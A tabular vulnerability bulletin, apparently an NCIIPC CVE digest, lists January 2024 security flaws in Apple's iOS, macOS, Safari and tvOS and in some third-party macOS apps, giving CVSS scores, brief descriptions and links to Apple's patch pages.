N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2397
N/A	23-Jan-2024	7.5	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user. **CVE ID : CVE-2024-23203**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2398
N/A	23-Jan-2024	7.5	The issue was addressed with	https://support.apple.com/en-	O-APP-IPHO-090224/2399

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			additional permissions checks. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user. **CVE ID : CVE-2024-23204**	us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user. **CVE ID : CVE-2024-23206**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPHO-090224/2400
N/A	23-Jan-2024	5.5	This issue was addressed with improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS	https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support	O-APP-IPHO-090224/2401

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23207**	.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings. **CVE ID : CVE-2024-23211**	https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPHO-090224/2402
Product: macos					
Affected Version(s): -					
Improper Verification of Cryptographic Signature	17-Jan-2024	9.8	Studio Network Solutions ShareBrowser before 7.0 on macOS mishandles signature verification, aka PMP-2636. **CVE ID : CVE-2023-44077**	N/A	O-APP-MACO-090224/2403
N/A	28-Jan-2024	9.8	An issue in Postman version	N/A	O-APP-MACO-090224/2404

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			10.22 and before on macOS allows a remote attacker to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments settings. **CVE ID : CVE-2024-23738**		
N/A	28-Jan-2024	9.8	An issue in Notion for macOS version 3.1.0 and before, allows remote attackers to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments components. **CVE ID : CVE-2024-23743**	N/A	O-APP-MACO-090224/2405
N/A	28-Jan-2024	9.8	An issue in Discord for macOS version 0.0.291 and before, allows remote attackers to execute arbitrary code via the RunAsNode and enableNodeCliInspectArguments settings. **CVE ID : CVE-2024-23739**	N/A	O-APP-MACO-090224/2406
Improper Link Resolution Before File Access	16-Jan-2024	7.8	Improper Link Resolution Before File Access ('Link Following') vulnerability in	https://www.hypr.com/security-advisories	O-APP-MACO-090224/2407

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Link Following')			HYPR Workforce Access on MacOS allows User-Controlled Filename.This issue affects Workforce Access: before 8.7. **CVE ID : CVE-2023-6336**		
Affected Version(s): * Up to (excluding) 14.2					
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.2. Processing a file may lead to unexpected app termination or arbitrary code execution. **CVE ID : CVE-2023-42881**	https://support.apple.com/en-us/HT214036	O-APP-MACO-090224/2408
Affected Version(s): * Up to (excluding) 14.3					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3. Processing web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23209**	https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2409

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Jan-2024	7.5	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user. **CVE ID : CVE-2024-23203**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2410
N/A	23-Jan-2024	7.5	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user. **CVE ID : CVE-2024-23204**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2411
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support	O-APP-MACO-090224/2412

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user. **CVE ID : CVE-2024-23206**	.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	
Affected Version(s): From (including) 12.0 Up to (excluding) 12.7.3					
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited. **CVE ID : CVE-2024-23222**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2413
N/A	23-Jan-2024	7.8	Multiple issues were addressed by updating to curl version 8.4.0. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2,	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-	O-APP-MACO-090224/2414

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			macOS Monterey 12.7.3, iOS 16.7.5 and iPadOS 16.7.5. Multiple issues in curl. **CVE ID : CVE-2023-42915**	us/HT214058, https://support.apple.com/en-us/HT214063, https://support.apple.com/kb/HT214036	
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2415
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support	O-APP-MACO-090224/2416

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			in disclosure of process memory. **CVE ID : CVE-2023-42888**	.apple.com/en-us/HT214063	
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data. **CVE ID : CVE-2023-42937**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-MACO-090224/2417
N/A	23-Jan-2024	5.5	This issue was addressed with improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data.	https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2418

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23207		
Affected Version(s): From (including) 13.0 Up to (excluding) 13.6.4					
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited. **CVE ID : CVE-2024-23222**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2419
N/A	23-Jan-2024	7.8	Multiple issues were addressed by updating to curl version 8.4.0. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 16.7.5 and iPadOS 16.7.5. Multiple issues in curl.	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063, https://support	O-APP-MACO-090224/2420

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-42915	.apple.com/kb/HT214036	
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2421
N/A	23-Jan-2024	6.3	An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2. An app may be able to read arbitrary files. **CVE ID : CVE-2023-42887**	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT214036	O-APP-MACO-090224/2422
N/A	23-Jan-2024	5.5	This issue was addressed by removing the vulnerable code. This issue is fixed in tvOS 17, watchOS 10,	https://support.apple.com/en-us/HT213936, https://support.apple.com/en-us/HT213937, https://support	O-APP-MACO-090224/2423

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			macOS Sonoma 14, iOS 17 and iPadOS 17, macOS Ventura 13.6.4. An app may be able to bypass Privacy preferences. **CVE ID : CVE-2023-40528**	.apple.com/en-us/HT213938, https://support.apple.com/en-us/HT213940, https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT213936	
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory. **CVE ID : CVE-2023-42888**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-MACO-090224/2424
N/A	23-Jan-2024	5.5	An authentication issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.6.4. A local attacker may be able to view the previous logged in user's desktop	https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT213984	O-APP-MACO-090224/2425

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			from the fast user switching screen. **CVE ID : CVE-2023-42935**		
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data. **CVE ID : CVE-2023-42937**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-MACO-090224/2426
N/A	23-Jan-2024	5.5	This issue was addressed with improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data.	https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2427

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23207		
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.3, macOS Ventura 13.6.4. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23224**	https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2428
Affected Version(s): From (including) 14.0 Up to (excluding) 14.1					
N/A	23-Jan-2024	5.5	An authentication issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.6.4. A local attacker may be able to view the previous logged in user's desktop from the fast user switching screen. **CVE ID : CVE-2023-42935**	https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT213984	O-APP-MACO-090224/2429
Affected Version(s): From (including) 14.0 Up to (excluding) 14.2					
N/A	23-Jan-2024	7.8	Multiple issues were addressed by updating to curl version 8.4.0. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 16.7.5	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support	O-APP-MACO-090224/2430

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and iPadOS 16.7.5. Multiple issues in curl. **CVE ID : CVE-2023-42915**	.apple.com/en-us/HT214063, https://support.apple.com/kb/HT214036	
N/A	23-Jan-2024	6.3	An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2. An app may be able to read arbitrary files. **CVE ID : CVE-2023-42887**	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT214036	O-APP-MACO-090224/2431
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory. **CVE ID : CVE-2023-42888**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-MACO-090224/2432
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for	https://support.apple.com/en-us/HT214035, https://support	O-APP-MACO-090224/2433

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data. **CVE ID : CVE-2023-42937**	.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	
Affected Version(s): From (including) 14.0 Up to (excluding) 14.3					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23213**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-MACO-090224/2434
Out-of-bounds Write	23-Jan-2024	8.8	Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in macOS Sonoma	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061, https://support	O-APP-MACO-090224/2435

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			14.3, iOS 16.7.5 and iPadOS 16.7.5, iOS 17.3 and iPadOS 17.3. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23214**	.apple.com/en-us/HT214063	
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited. **CVE ID : CVE-2024-23222**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2436
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-	O-APP-MACO-090224/2437

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and iPadOS 17.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23208**	us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2438
N/A	23-Jan-2024	6.2	A privacy issue was addressed with improved handling of files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23223**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2439

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Observable Discrepancy	23-Jan-2024	5.9	A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key. **CVE ID : CVE-2024-23218**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2440
N/A	23-Jan-2024	5.5	This issue was addressed with improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23207**	https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2441
N/A	23-Jan-2024	5.5	An issue was addressed with improved handling	https://support.apple.com/en-us/HT214055,	O-APP-MACO-090224/2442

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access user-sensitive data. **CVE ID : CVE-2024-23215**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.3, macOS Ventura 13.6.4. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23224**	https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2443
N/A	23-Jan-2024	3.3	This issue was addressed with improved redaction of sensitive information. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to view a user's phone number in system logs. **CVE ID : CVE-2024-23210**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2444
N/A	23-Jan-2024	3.3	A privacy issue was addressed with	https://support.apple.com/en-	O-APP-MACO-090224/2445

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings. **CVE ID : CVE-2024-23211**	us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. An app may be able to bypass certain Privacy preferences. **CVE ID : CVE-2024-23217**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-MACO-090224/2446
Product: safari					
Affected Version(s): * Up to (excluding) 17.3					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059,	O-APP-SAFA-090224/2447

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23213**	https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited. **CVE ID : CVE-2024-23222**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-SAFA-090224/2448
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059,	O-APP-SAFA-090224/2449

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user. **CVE ID : CVE-2024-23206**	https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings. **CVE ID : CVE-2024-23211**	https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-SAFA-090224/2450
Product: tvos					
Affected Version(s): * Up to (excluding) 17.0					
N/A	23-Jan-2024	5.5	This issue was addressed by removing the vulnerable code. This issue is fixed in tvOS 17, watchOS 10, macOS Sonoma 14, iOS 17 and iPadOS 17, macOS Ventura 13.6.4. An app may be able to bypass	https://support.apple.com/en-us/HT213936, https://support.apple.com/en-us/HT213937, https://support.apple.com/en-us/HT213938, https://support.apple.com/en-us/HT213940, https://support	O-APP-TVOS-090224/2451

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Privacy preferences. **CVE ID : CVE-2023-40528**	.apple.com/en-us/HT214058, https://support.apple.com/kb/HT213936	
Affected Version(s): * Up to (excluding) 17.3					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23213**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-TVOS-090224/2452
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution.	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-TVOS-090224/2453

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Apple is aware of a report that this issue may have been exploited. **CVE ID : CVE-2024-23222**		
